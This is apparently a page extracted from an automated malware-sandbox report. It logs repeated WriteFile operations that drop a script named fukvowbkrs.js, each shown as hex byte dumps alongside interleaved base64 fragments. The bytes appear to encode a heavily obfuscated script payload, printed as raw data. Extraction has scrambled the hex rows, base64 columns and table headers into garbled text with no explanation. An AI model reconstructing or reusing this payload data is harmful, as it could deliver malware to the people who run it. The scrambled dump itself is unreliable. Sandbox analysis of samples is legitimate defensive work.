MxXHg1OVx4NEVceDY4
XHg0Q1x4NjFc
eDczXHg2MVx4NzBceDU
3XHg1MFx4NU
FceDUzXHg3M1x4NzJce
DM1XHgzNFx4
NkJceDJCXHg0Nlx4NDVc
eDRFXHg0Q1
x4NTZceDMxXHg2M1x4Nj
FceDc0XHgy
Qlx4NzJceDQ3XHg1OVx4
NTZceDYzXH
g2RFx4NjFceDQ2XHgzMl
x4NkFceDcx
XHg2QVx4NDVceDM5XH
g3NVx4NEZceD
RGXHgzN1x4NDJce

success or wait 7 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 56 42 58 48 67 7a 4e 
6c 78 34 4e 6a 52 63 
65 44 51 34 58 48 67 
7a 4d 46 78 34 4d 6b 
4a 63 65 44 51 31 58 
48 67 31 4e 6c 78 34 
4e 45 4a 63 65 44 51 
7a 58 48 67 31 4f 46 
78 34 4e 7a 4a 63 65 
44 63 32 58 48 67 32 
51 56 78 34 4d 7a 52 
63 65 44 4d 33 58 48 
67 30 51 31 78 34 4e 
30 46 63 65 44 6d 42 
58 48 67 33 4d 6c 78 
34 4e 54 46 63 65 44 
6d 42 58 48 67 7a 4d 
6c 78 34 4e 6a 4e 63 
65 44 59 79 58 48 67 
30 51 6c 78 34 4e 7a 
6c 63 65 44 63 31 58 
48 67 32 52 46 78 34 
4e 6b 56 63 65 44 59 
78 58 48 67 30 52 6c 
78 34 4e 6a 68 63 65 
44 55 33 58 48 67 32 
4d 56 78 34 4e 45 5a 
63 65 44 59 35 58 48 
67 30 4e 31 78 34 4d 
7a 68 63 65 44 55 34 
58 48 67 30 4e 6c 78 
34 4e 6b 4a 63 65 44 
5a 45 58 48 67 33 4d 
46 78 34 4e 6b 56 63 
65 44 51 32 58 48 67 
79 51 6c 78 34 4d 7a 
46 63 65 

VBXHgzNlx4NjRceDQ4XH
gzMFx4MkJc
eDQ1XHg1Nlx4NEJceDQz
XHg1OFx4Nz
JceDc2XHg2QVx4MzRce
DM3XHg0Q1x4
N0FceDmBXHg3Mlx4NTF
ceDmBXHgzMl
x4NjNceDYyXHg0Qlx4Nzl
ceDc1XHg2
RFx4NkVceDYxXHg0Rlx4
NjhceDU3XH
g2MVx4NEZceDY5XHg0N
1x4MzhceDU4
XHg0Nlx4NkJceDZEXHg3
MFx4NkVceD
Q2XHgyQlx4MzFce

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 5a 45 58 48 67 79 52 
6c 78 34 4e 6a 68 63 
65 44 5a 42 58 48 67 
7a 4e 46 78 34 4e 6a 
4e 63 65 44 4d 35 58 
48 67 33 4e 31 78 34 
4e 7a 52 63 65 44 55 
31 58 48 67 33 51 56 
78 34 4e 54 4a 63 65 
44 51 31 58 48 67 32 
51 31 78 34 4e 54 68 
63 65 44 51 31 58 48 
67 33 4d 56 78 34 4d 
7a 6c 63 65 44 4d 34 
58 48 67 30 51 31 78 
34 4e 44 68 63 65 44 
4d 78 58 48 67 7a 4d 
56 78 34 4e 6b 4e 63 
65 44 55 34 58 48 67 
32 4e 46 78 34 4e 7a 
6d 63 65 44 59 31 58 
48 67 7a 4e 6c 78 34 
4e 6a 6c 63 65 44 63 
79 58 48 67 32 4e 46 
78 34 4e 44 68 63 65 
44 4d 31 58 48 67 30 
51 6c 78 34 4e 6a 5a 
63 65 44 55 77 58 48 
67 30 4f 56 78 34 4e 
45 4e 63 65 44 55 33 
58 48 67 33 51 56 78 
34 4e 6a 52 63 65 44 
55 79 58 48 67 33 4f 
46 78 34 4e 54 6c 63 
65 44 63 77 58 48 67 
32 4d 31 78 34 4e 7a 
46 63 65 

ZEXHgyRlx4NjhceDZBXH
gzNFx4NjNc
eDM5XHg3N1x4NzRceDU
1XHg3QVx4NT
JceDQ1XHg2Q1x4NThce
DQ1XHg3MVx4
MzlceDM4XHg0Q1x4NDh
ceDMxXHgzMV
x4NkNceDU4XHg2NFx4N
zmceDY1XHgz
Nlx4NjlceDcyXHg2NFx4N
DhceDM1XH
g0Qlx4NjZceDUwXHg0OV
x4NENceDU3
XHg3QVx4NjRceDUyXHg
3OFx4NTlceD
cwXHg2M1x4NzFce

success or wait 3 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 51 35 58 48 67 7a 4d 
6c 78 34 4d 30 56 63 
65 44 49 31 58 48 67 
30 4d 46 78 34 4e 6b 
56 63 65 44 55 33 58 
48 67 33 4d 31 78 34 
4d 30 56 63 65 44 49 
31 58 48 67 30 4d 46 
78 34 4e 6b 52 63 65 
44 63 35 58 48 67 30 
52 56 78 34 4e 6a 6d 
63 65 44 59 79 58 48 
67 32 4e 56 78 34 4e 
54 52 63 65 44 4d 78 
58 48 67 32 51 56 78 
34 4d 7a 56 63 65 44 
51 7a 58 48 67 33 4d 
46 78 34 4d 7a 6d 63 
65 44 59 78 58 48 67 
30 4e 46 78 34 4d 6b 
4a 63 65 44 51 79 58 
48 67 33 4e 56 78 34 
4e 44 68 63 65 44 51 
31 58 48 67 30 4d 6c 
78 34 4e 7a 68 63 65 
44 63 34 58 48 67 33 
4d 6c 78 34 4e 7a 6d 
63 65 44 63 31 58 48 
67 33 4e 31 78 34 4d 
7a 5a 63 65 44 5a 42 
58 48 67 32 52 6c 78 
34 4d 7a 6d 63 65 44 
51 33 58 48 67 7a 4d 
31 78 34 4d 7a 4a 63 
65 44 52 42 58 48 67 
32 4e 6c 78 34 4d 7a 
52 63 65 

Q5XHgzMlx4M0VceDI1XH
g0MFx4NkVc
eDU3XHg3M1x4M0VceDI
1XHg0MFx4Nk
RceDc5XHg0RVx4NjmceD
YyXHg2NVx4
NTRceDMxXHg2QVx4Mz
VceDQzXHg3MF
x4MzmceDYxXHg0NFx4M
kJceDQyXHg3
NVx4NDhceDQ1XHg0Mlx
4NzhceDc4XH
g3Mlx4NzmceDc1XHg3N1
x4MzZceDZB
XHg2Rlx4MzmceDQ3XHg
zM1x4MzJceD
RBXHg2Nlx4MzRce

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 49 31 58 48 67 30 4d 
46 78 34 4e 7a 5a 63 
65 44 4d 31 58 48 67 
32 4d 56 78 34 4e 7a 
6d 63 65 44 51 32 58 
48 67 32 4d 31 78 34 
4e 44 56 63 65 44 4a 
47 58 48 67 30 4f 56 
78 34 4d 7a 4a 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 63 79 58 48 
67 33 4e 31 78 34 4e 
7a 4a 63 65 44 4d 30 
58 48 67 31 4e 31 78 
34 4e 7a 6d 63 65 44 
51 32 58 48 67 33 4e 
6c 78 34 4e 44 4e 63 
65 44 55 77 58 48 67 
32 4e 31 78 34 4d 7a 
6d 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 55 
32 58 48 67 7a 4f 46 
78 34 4e 54 52 63 65 
44 4d 34 58 48 67 31 
4d 46 78 34 4e 6a 4e 
63 65 44 51 7a 58 48 
67 33 4e 6c 78 34 4e 
6a 6c 63 65 44 4d 33 
58 48 67 32 4e 31 78 
34 4e 44 68 63 65 44 
63 33 58 48 67 31 4e 
46 78 34 4d 7a 68 63 
65 44 5a 47 58 48 67 
7a 4e 46 78 34 4e 44 
4a 63 65 

I1XHg0MFx4NzZceDM1X
Hg2MVx4Nzmc
eDQ2XHg2M1x4NDVceDJ
GXHg0OVx4Mz
JceDNFXHgyNVx4NDBce
DcyXHg3N1x4
NzJceDM0XHg1N1x4Nzm
ceDQ2XHg3Nl
x4NDNceDUwXHg2N1x4M
zmceDNFXHgy
NVx4NDBceDU2XHgzOFx
4NTRceDM4XH
g1MFx4NjNceDQzXHg3Nl
x4NjlceDM3
XHg2N1x4NDhceDc3XHg1
NFx4MzhceD
ZGXHgzNFx4NDJce

success or wait 3 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 5a 47 58 48 67 32 4f 
46 78 34 4e 44 4a 63 
65 44 52 45 58 48 67 
31 4d 31 78 34 4e 44 
4a 63 65 44 59 35 58 
48 67 31 4e 31 78 34 
4d 7a 68 63 65 44 51 
35 58 48 67 30 51 6c 
78 34 4e 44 56 63 65 
44 59 35 58 48 67 7a 
4e 46 78 34 4e 6a 46 
63 65 44 55 7a 58 48 
67 30 4e 56 78 34 4e 
44 6c 63 65 44 55 78 
58 48 67 32 52 46 78 
34 4e 6b 56 63 65 44 
52 42 58 48 67 30 4e 
6c 78 34 4e 54 46 63 
65 44 5a 44 58 48 67 
32 52 56 78 34 4e 45 
46 63 65 44 56 42 58 
48 67 33 4e 31 78 34 
4e 54 4a 63 65 44 63 
7a 58 48 67 30 51 56 
78 34 4e 55 46 63 65 
44 51 7a 58 48 67 32 
4d 31 78 34 4e 45 52 
63 65 44 55 7a 58 48 
67 31 4f 46 78 34 4e 
7a 42 63 65 44 55 30 
58 48 67 33 4e 31 78 
34 4e 6b 4a 63 65 44 
5a 47 58 48 67 31 4d 
56 78 34 4e 54 4a 63 
65 44 51 7a 58 48 67 
32 4e 56 78 34 4e 6a 
4e 63 65 

ZGXHg2OFx4NDJceDRE
XHg1M1x4NDJc
eDY5XHg1N1x4MzhceDQ
5XHg0Qlx4ND
VceDY5XHgzNFx4NjFceD
UzXHg0NVx4
NDlceDUxXHg2RFx4NkVc
eDRBXHg0Nl
x4NTFceDZDXHg2RVx4N
EFceDVBXHg3
N1x4NTJceDczXHg0QVx4
NUFceDQzXH
g2M1x4NERceDUzXHg1O
Fx4NzBceDU0
XHg3N1x4NkJceDZGXHg
1MVx4NTJceD
QzXHg2NVx4NjNce

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4d 78 58 48 67 7a 4e 
46 78 34 4e 54 56 63 
65 44 51 33 58 48 67 
7a 4d 46 78 34 4e 6b 
52 63 65 44 4d 35 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 30 52 56 
78 34 4d 6b 5a 63 65 
44 4d 77 58 48 67 7a 
4d 6c 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4e 
45 46 63 65 44 59 34 
58 48 67 30 52 46 78 
34 4e 6a 56 63 65 44 
4d 30 58 48 67 7a 4e 
31 78 34 4e 54 42 63 
65 44 4d 35 58 48 67 
32 4d 56 78 34 4e 44 
52 63 65 44 51 30 58 
48 67 32 4f 46 78 34 
4e 44 4e 63 65 44 59 
32 58 48 67 32 4e 31 
78 34 4e 54 42 63 65 
44 51 31 58 48 67 33 
4e 31 78 34 4d 7a 52 
63 65 44 63 33 58 48 
67 7a 4f 46 78 34 4e 
7a 6d 63 65 44 51 79 
58 48 67 32 4d 56 78 
34 4e 54 52 63 65 44 
51 30 58 48 67 32 4f 
56 78 34 4e 44 6c 63 
65 44 4d 79 58 48 67 
7a 4d 46 78 34 4e 7a 
68 63 65 

MxXHgzNFx4NTVceDQ3X
HgzMFx4NkRc
eDM5XHgzRVx4MjVceDQ
wXHg0RVx4Mk
ZceDMwXHgzMlx4M0Vce
DI1XHg0MFx4
NEFceDY4XHg0RFx4NjVc
eDM0XHgzN1
x4NTBceDM5XHg2MVx4N
DRceDQ0XHg2
OFx4NDNceDY2XHg2N1x
4NTBceDQ1XH
g3N1x4MzRceDc3XHgzO
Fx4NzmceDQy
XHg2MVx4NTRceDQ0XH
g2OVx4NDlceD
MyXHgzMFx4Nzhce
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C:\Users\user\fukvowbkrs.js unknown 1024 6d 42 58 48 67 32 4d 
6c 78 34 4e 44 6d 63 
65 44 55 33 58 48 67 
31 4d 56 78 34 4e 44 
6d 63 65 44 56 42 58 
48 67 33 4d 46 78 34 
4e 45 52 63 65 44 4a 
43 58 48 67 30 4e 31 
78 34 4d 7a 5a 63 65 
44 4d 77 58 48 67 32 
52 46 78 34 4e 7a 5a 
63 65 44 51 79 58 48 
67 33 4f 46 78 34 4d 
7a 4e 63 65 44 51 33 
58 48 67 7a 4e 31 78 
34 4e 44 4e 63 65 44 
4d 35 58 48 67 7a 4f 
46 78 34 4e 44 4e 63 
65 44 4d 7a 58 48 67 
30 4e 31 78 34 4e 54 
56 63 65 44 5a 42 58 
48 67 7a 4f 46 78 34 
4e 44 6c 63 65 44 63 
30 58 48 67 33 4e 6c 
78 34 4e 7a 68 63 65 
44 55 34 58 48 67 33 
4e 6c 78 34 4e 6a 6d 
63 65 44 59 32 58 48 
67 30 4e 56 78 34 4d 
7a 6d 63 65 44 4d 32 
58 48 67 31 4d 46 78 
34 4e 7a 42 63 65 44 
59 79 58 48 67 33 4f 
56 78 34 4e 6a 5a 63 
65 44 4d 30 58 48 67 
31 4d 56 78 34 4e 6b 
4a 63 65 

mBXHg2Mlx4NDmceDU3
XHg1MVx4NDmc
eDVBXHg3MFx4NERceDJ
CXHg0N1x4Mz
ZceDMwXHg2RFx4NzZce
DQyXHg3OFx4
MzNceDQ3XHgzN1x4NDN
ceDM5XHgzOF
x4NDNceDMzXHg0N1x4N
TVceDZBXHgz
OFx4NDlceDc0XHg3Nlx4
NzhceDU4XH
g3Nlx4NjmceDY2XHg0NV
x4MzmceDM2
XHg1MFx4NzBceDYyXHg
3OVx4NjZceD
M0XHg1MVx4NkJce

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 56 42 58 48 67 33 4e 
6c 78 34 4e 6a 52 63 
65 44 52 47 58 48 67 
7a 4e 31 78 34 4e 6a 
68 63 65 44 5a 42 58 
48 67 32 52 6c 78 34 
4e 44 68 63 65 44 5a 
46 58 48 67 30 4f 56 
78 34 4e 54 42 63 65 
44 52 47 58 48 67 7a 
4f 46 78 34 4d 7a 52 
63 65 44 4d 31 58 48 
67 33 4d 46 78 34 4d 
7a 42 63 65 44 4d 35 
58 48 67 30 4d 31 78 
34 4e 6a 68 63 65 44 
51 7a 58 48 67 32 4d 
56 78 34 4e 6a 5a 63 
65 44 55 34 58 48 67 
30 52 46 78 34 4e 6b 
4e 63 65 44 4d 78 58 
48 67 7a 4d 56 78 34 
4e 7a 56 63 65 44 5a 
45 58 48 67 32 52 46 
78 34 4e 6a 6d 63 65 
44 56 42 58 48 67 7a 
4f 56 78 34 4e 6a 6d 
63 65 44 55 79 58 48 
67 7a 4e 6c 78 34 4e 
54 4a 63 65 44 5a 45 
58 48 67 33 4e 31 78 
34 4e 44 52 63 65 44 
51 30 58 48 67 32 52 
46 78 34 4e 44 68 63 
65 44 63 77 58 48 67 
32 4e 46 78 34 4e 6b 
52 63 65 

VBXHg3Nlx4NjRceDRGX
HgzN1x4Njhc
eDZBXHg2Rlx4NDhceDZF
XHg0OVx4NT
BceDRGXHgzOFx4MzRce
DM1XHg3MFx4
MzBceDM5XHg0M1x4Njh
ceDQzXHg2MV
x4NjZceDU4XHg0RFx4Nk
NceDMxXHgz
MVx4NzVceDZEXHg2RFx
4NjmceDVBXH
gzOVx4NjmceDUyXHgzNl
x4NTJceDZE
XHg3N1x4NDRceDQ0XHg
2RFx4NDhceD
cwXHg2NFx4NkRce
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C:\Users\user\fukvowbkrs.js unknown 1024 63 31 58 48 67 30 4f 
56 78 34 4e 6a 56 63 
65 44 56 42 58 48 67 
31 4e 31 78 34 4d 7a 
52 63 65 44 63 35 58 
48 67 7a 4e 56 78 34 
4e 6b 4a 63 65 44 59 
33 58 48 67 32 51 6c 
78 34 4e 7a 42 63 65 
44 5a 45 58 48 67 31 
4f 56 78 34 4e 54 4e 
63 65 44 5a 43 58 48 
67 7a 4e 31 78 34 4e 
45 56 63 65 44 59 30 
58 48 67 31 4e 46 78 
34 4e 45 4a 63 65 44 
4a 43 58 48 67 33 4e 
31 78 34 4e 6a 4a 63 
65 44 51 30 58 48 67 
32 4d 56 78 34 4e 54 
56 63 65 44 59 78 58 
48 67 32 4e 6c 78 34 
4e 7a 5a 63 65 44 63 
31 58 48 67 32 52 6c 
78 34 4e 7a 52 63 65 
44 4d 7a 58 48 67 30 
51 31 78 34 4e 54 56 
63 65 44 55 33 58 48 
67 31 4e 56 78 34 4e 
7a 42 63 65 44 51 33 
58 48 67 32 4f 56 78 
34 4d 7a 6d 63 65 44 
59 31 58 48 67 7a 4d 
6c 78 34 4e 7a 4a 63 
65 44 51 33 58 48 67 
33 4f 46 78 34 4e 6a 
52 63 65 

c1XHg0OVx4NjVceDVBX
Hg1N1x4MzRc
eDc5XHgzNVx4NkJceDY3
XHg2Qlx4Nz
BceDZEXHg1OVx4NTNce
DZCXHgzN1x4
NEVceDY0XHg1NFx4NEJ
ceDJCXHg3N1
x4NjJceDQ0XHg2MVx4NT
VceDYxXHg2
Nlx4NzZceDc1XHg2Rlx4N
zRceDMzXH
g0Q1x4NTVceDU3XHg1N
Vx4NzBceDQ3
XHg2OVx4MzmceDY1XH
gzMlx4NzJceD
Q3XHg3OFx4NjRce

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 6d 42 58 48 67 32 4e 
46 78 34 4e 7a 68 63 
65 44 51 34 58 48 67 
30 52 6c 78 34 4e 7a 
4e 63 65 44 55 30 58 
48 67 30 4f 46 78 34 
4e 6a 56 63 65 44 4d 
79 58 48 67 31 51 56 
78 34 4e 6b 56 63 65 
44 59 30 58 48 67 32 
4f 56 78 34 4e 6a 46 
63 65 44 63 77 58 48 
67 30 51 56 78 34 4e 
7a 68 63 65 44 4d 78 
58 48 67 7a 52 56 78 
34 4d 6a 56 63 65 44 
51 77 58 48 67 33 4d 
31 78 34 4e 6a 52 63 
65 44 51 31 58 48 67 
32 51 31 78 34 4e 45 
56 63 65 44 59 78 58 
48 67 33 4d 31 78 34 
4e 6b 5a 63 65 44 59 
30 58 48 67 33 4e 46 
78 34 4e 54 4a 63 65 
44 55 78 58 48 67 33 
51 56 78 34 4e 54 4e 
63 65 44 59 79 58 48 
67 7a 4d 6c 78 34 4e 
7a 4e 63 65 44 55 79 
58 48 67 33 4e 46 78 
34 4d 7a 52 63 65 44 
4a 43 58 48 67 32 4e 
56 78 34 4e 54 6c 63 
65 44 59 30 58 48 67 
32 52 56 78 34 4d 7a 
52 63 65 

mBXHg2NFx4NzhceDQ4X
Hg0Rlx4NzNc
eDU0XHg0OFx4NjVceDM
yXHg1QVx4Nk
VceDY0XHg2OVx4NjFceD
cwXHg0QVx4
NzhceDMxXHgzRVx4MjVc
eDQwXHg3M1
x4NjRceDQ1XHg2Q1x4NE
VceDYxXHg3
M1x4NkZceDY0XHg3NFx
4NTJceDUxXH
g3QVx4NTNceDYyXHgzM
lx4NzNceDUy
XHg3NFx4MzRceDJCXHg
2NVx4NTlceD
Y0XHg2RVx4MzRce
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C:\Users\user\fukvowbkrs.js unknown 1024 4d 78 58 48 67 31 4e 
6c 78 34 4e 54 68 63 
65 44 59 79 58 48 67 
7a 4f 46 78 34 4e 45 
52 63 65 44 51 30 58 
48 67 30 4e 46 78 34 
4e 54 46 63 65 44 4d 
78 58 48 67 33 51 56 
78 34 4e 7a 4a 63 65 
44 55 32 58 48 67 7a 
4d 6c 78 34 4e 7a 52 
63 65 44 55 7a 58 48 
67 32 4f 56 78 34 4e 
7a 4a 63 65 44 59 78 
58 48 67 7a 4d 6c 78 
34 4d 7a 6c 63 65 44 
51 30 58 48 67 30 4f 
56 78 34 4e 54 68 63 
65 44 59 79 58 48 67 
31 4e 31 78 34 4e 45 
52 63 65 44 59 78 58 
48 67 31 4d 56 78 34 
4e 7a 4e 63 65 44 4d 
79 58 48 67 30 52 56 
78 34 4d 7a 52 63 65 
44 63 7a 58 48 67 32 
52 6c 78 34 4d 7a 6d 
63 65 44 55 78 58 48 
67 7a 4d 56 78 34 4d 
7a 4a 63 65 44 51 79 
58 48 67 30 4d 6c 78 
34 4d 7a 46 63 65 44 
51 79 58 48 67 30 4e 
56 78 34 4e 6b 56 63 
65 44 5a 43 58 48 67 
7a 4d 46 78 34 4e 45 
56 63 65 

MxXHg1Nlx4NThceDYyX
HgzOFx4NERc
eDQ0XHg0NFx4NTFceDM
xXHg3QVx4Nz
JceDU2XHgzMlx4NzRceD
UzXHg2OVx4
NzJceDYxXHgzMlx4Mzlce
DQ0XHg0OV
x4NThceDYyXHg1N1x4N
ERceDYxXHg1
MVx4NzNceDMyXHg0RVx
4MzRceDczXH
g2Rlx4MzmceDUxXHgzM
Vx4MzJceDQy
XHg0Mlx4MzFceDQyXHg
0NVx4NkVceD
ZCXHgzMFx4NEVce

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 63 33 58 48 67 32 51 
56 78 34 4e 6a 4a 63 
65 44 4d 34 58 48 67 
7a 4d 46 78 34 4d 7a 
46 63 65 44 55 30 58 
48 67 32 52 46 78 34 
4e 54 5a 63 65 44 51 
33 58 48 67 32 52 46 
78 34 4e 55 46 63 65 
44 63 34 58 48 67 31 
4e 56 78 34 4e 6a 6c 
63 65 44 59 79 58 48 
67 32 4d 31 78 34 4e 
7a 56 63 65 44 55 30 
58 48 67 33 4d 46 78 
34 4e 7a 46 63 65 44 
52 43 58 48 67 32 4f 
46 78 34 4e 7a 6c 63 
65 44 59 31 58 48 67 
32 4f 46 78 34 4d 7a 
42 63 65 44 51 35 58 
48 67 31 4d 6c 78 34 
4e 45 52 63 65 44 55 
30 58 48 67 33 4d 46 
78 34 4e 7a 46 63 65 
44 56 42 58 48 67 32 
52 56 78 34 4e 45 56 
63 65 44 63 77 58 48 
67 30 52 6c 78 34 4e 
6a 6c 63 65 44 51 33 
58 48 67 31 51 56 78 
34 4e 45 4a 63 65 44 
4d 34 58 48 67 7a 4d 
46 78 34 4e 54 68 63 
65 44 4d 35 58 48 67 
31 51 56 78 34 4e 6a 
5a 63 65 

c3XHg2QVx4NjJceDM4X
HgzMFx4MzFc
eDU0XHg2RFx4NTZceDQ
3XHg2RFx4NU
FceDc4XHg1NVx4NjlceDY
yXHg2M1x4
NzVceDU0XHg3MFx4NzF
ceDRCXHg2OF
x4NzlceDY1XHg2OFx4Mz
BceDQ5XHg1
Mlx4NERceDU0XHg3MFx
4NzFceDVBXH
g2RVx4NEVceDcwXHg0Rl
x4NjlceDQ3
XHg1QVx4NEJceDM4XHg
zMFx4NThceD
M5XHg1QVx4NjZce
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C:\Users\user\fukvowbkrs.js unknown 1024 52 44 58 48 67 33 4e 
31 78 34 4e 6a 46 63 
65 44 55 30 58 48 67 
7a 4d 56 78 34 4d 7a 
56 63 65 44 51 30 58 
48 67 30 52 46 78 34 
4e 45 56 63 65 44 51 
35 58 48 67 33 4d 56 
78 34 4d 6b 4a 63 65 
44 4d 34 58 48 67 30 
51 56 78 34 4e 54 4e 
63 65 44 4d 35 58 48 
67 32 52 6c 78 34 4e 
6a 4a 63 65 44 63 77 
58 48 67 31 51 56 78 
34 4d 7a 52 63 65 44 
5a 46 58 48 67 31 4f 
46 78 34 4e 54 42 63 
65 44 59 30 58 48 67 
30 4e 46 78 34 4e 30 
46 63 65 44 51 30 58 
48 67 32 52 56 78 34 
4d 6b 4a 63 65 44 5a 
43 58 48 67 31 4d 31 
78 34 4e 45 5a 63 65 
44 51 34 58 48 67 32 
52 6c 78 34 4e 6b 4e 
63 65 44 51 34 58 48 
67 33 4d 6c 78 34 4d 
7a 46 63 65 44 52 46 
58 48 67 30 4d 31 78 
34 4e 6b 4e 63 65 44 
55 35 58 48 67 31 4d 
31 78 34 4e 6b 52 63 
65 44 59 78 58 48 67 
31 4d 31 78 34 4e 54 
46 63 65 

RDXHg3N1x4NjFceDU0X
HgzMVx4MzVc
eDQ0XHg0RFx4NEVceDQ
5XHg3MVx4Mk
JceDM4XHg0QVx4NTNce
DM5XHg2Rlx4
NjJceDcwXHg1QVx4MzRc
eDZFXHg1OF
x4NTBceDY0XHg0NFx4N
0FceDQ0XHg2
RVx4MkJceDZCXHg1M1x
4NEZceDQ4XH
g2Rlx4NkNceDQ4XHg3Ml
x4MzFceDRF
XHg0M1x4NkNceDU5XHg
1M1x4NkRceD
YxXHg1M1x4NTFce

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4d 78 58 48 67 33 4d 
56 78 34 4d 6b 5a 63 
65 44 51 79 58 48 67 
30 4e 56 78 34 4e 44 
6d 63 65 44 5a 45 58 
48 67 7a 4e 31 78 34 
4d 7a 52 63 65 44 4d 
77 58 48 67 79 52 6c 
78 34 4e 44 4e 63 65 
44 55 31 58 48 67 32 
4d 6c 78 34 4e 44 5a 
63 65 44 4d 79 58 48 
67 30 4e 46 78 34 4d 
7a 68 63 65 44 55 30 
58 48 67 31 4d 6c 78 
34 4d 7a 68 63 65 44 
59 7a 58 48 67 30 4e 
31 78 34 4e 6b 56 63 
65 44 4d 35 58 48 67 
32 4d 31 78 34 4d 7a 
6c 63 65 44 55 32 58 
48 67 7a 4d 46 78 34 
4d 7a 52 63 65 44 59 
35 58 48 67 32 52 46 
78 34 4e 7a 5a 63 65 
44 6d 42 58 48 67 32 
51 56 78 34 4d 7a 52 
63 65 44 5a 45 58 48 
67 32 52 46 78 34 4d 
7a 6c 63 65 44 59 30 
58 48 67 32 4e 31 78 
34 4e 45 4e 63 65 44 
4e 46 58 48 67 79 4e 
56 78 34 4e 44 42 63 
65 44 4d 77 58 48 67 
32 4e 6c 78 34 4e 54 
52 63 65 

MxXHg3MVx4MkZceDQy
XHg0NVx4NDmc
eDZEXHgzN1x4MzRceDM
wXHgyRlx4ND
NceDU1XHg2Mlx4NDZce
DMyXHg0NFx4
MzhceDU0XHg1Mlx4Mzhc
eDYzXHg0N1
x4NkVceDM5XHg2M1x4M
zlceDU2XHgz
MFx4MzRceDY5XHg2RFx
4NzZceDmBXH
g2QVx4MzRceDZEXHg2R
Fx4MzlceDY0
XHg2N1x4NENceDNFXHg
yNVx4NDBceD
MwXHg2Nlx4NTRce
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C:\Users\user\fukvowbkrs.js unknown 1024 51 30 58 48 67 30 51 
31 78 34 4d 6b 5a 63 
65 44 63 77 58 48 67 
33 4e 56 78 34 4e 7a 
6d 63 65 44 4d 77 58 
48 67 30 52 46 78 34 
4e 44 4a 63 65 44 4d 
32 58 48 67 33 4f 56 
78 34 4e 7a 4a 63 65 
44 51 31 58 48 67 33 
4f 56 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4e 
6a 4e 63 65 44 55 77 
58 48 67 30 4d 6c 78 
34 4d 7a 4a 63 65 44 
63 35 58 48 67 33 4d 
6c 78 34 4e 45 52 63 
65 44 52 47 58 48 67 
79 51 6c 78 34 4e 7a 
4a 63 65 44 4d 77 58 
48 67 30 52 46 78 34 
4e 45 56 63 65 44 52 
44 58 48 67 33 4e 31 
78 34 4e 6b 52 63 65 
44 52 47 58 48 67 7a 
4d 31 78 34 4e 7a 42 
63 65 44 55 7a 58 48 
67 30 4e 56 78 34 4e 
54 4a 63 65 44 4d 32 
58 48 67 31 4d 46 78 
34 4e 6b 5a 63 65 44 
51 35 58 48 67 32 4d 
6c 78 34 4e 44 6d 63 
65 44 5a 45 58 48 67 
7a 4d 6c 78 34 4d 7a 
5a 63 65 

Q0XHg0Q1x4MkZceDcwX
Hg3NVx4Nzmc
eDMwXHg0RFx4NDJceD
M2XHg3OVx4Nz
JceDQ1XHg3OVx4M0Vce
DI1XHg0MFx4
NjNceDUwXHg0Mlx4MzJc
eDc5XHg3Ml
x4NERceDRGXHgyQlx4N
zJceDMwXHg0
RFx4NEVceDRDXHg3N1x
4NkRceDRGXH
gzM1x4NzBceDUzXHg0N
Vx4NTJceDM2
XHg1MFx4NkZceDQ5XHg
2Mlx4NDmceD
ZEXHgzMlx4MzZce

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 524 4d 32 58 48 67 32 4e 
46 78 34 4d 7a 52 63 
65 44 5a 43 58 48 67 
33 4d 6c 78 34 4d 7a 
46 63 65 44 55 34 58 
48 67 33 4e 46 78 34 
4d 7a 56 63 65 44 4d 
79 58 48 67 32 4f 56 
78 34 4e 44 56 63 65 
44 51 31 58 48 67 32 
51 56 78 34 4e 44 52 
63 65 44 55 30 58 48 
67 32 4d 6c 78 34 4e 
6b 4e 63 65 44 52 45 
58 48 67 32 4f 56 78 
34 4d 7a 68 63 65 44 
4e 46 58 48 67 79 4e 
56 78 34 4e 44 42 63 
65 44 52 46 58 48 67 
32 4d 56 78 34 4e 7a 
68 63 65 44 5a 47 58 
48 67 33 4e 56 78 34 
4d 7a 42 63 65 44 55 
31 58 48 67 30 4d 31 
78 34 4e 54 4e 63 65 
44 59 35 58 48 67 30 
52 56 78 34 4e 45 5a 
63 65 44 6d 42 58 48 
67 32 4f 56 78 34 4e 
6a 4a 63 65 44 52 45 
58 48 67 33 4d 56 78 
34 4e 7a 6c 63 65 44 
4d 35 58 48 67 32 52 
46 78 34 4e 6b 52 63 
65 44 63 31 58 48 67 
31 4f 46 78 34 4e 7a 
6d 63 65 

M2XHg2NFx4MzRceDZC
XHg3Mlx4MzFc
eDU4XHg3NFx4MzVceDM
yXHg2OVx4ND
VceDQ1XHg2QVx4NDRce
DU0XHg2Mlx4
NkNceDREXHg2OVx4Mzh
ceDNFXHgyNV
x4NDBceDRFXHg2MVx4N
zhceDZGXHg3
NVx4MzBceDU1XHg0M1x
4NTNceDY5XH
g0RVx4NEZceDmBXHg2
OVx4NjJceDRE
XHg3MVx4NzlceDM5XHg
2RFx4NkRceD
c1XHg1OFx4Nzmce
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File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 69 of 706



C:\Users\user\fukvowbkrs.js unknown 1024 4a 63 65 44 55 77 58 
48 67 33 4d 6c 78 34 
4e 55 46 63 65 44 55 
34 58 48 67 31 51 56 
78 34 4d 7a 68 63 65 
44 63 31 58 48 67 32 
51 6c 78 34 4d 7a 46 
63 65 44 63 77 58 48 
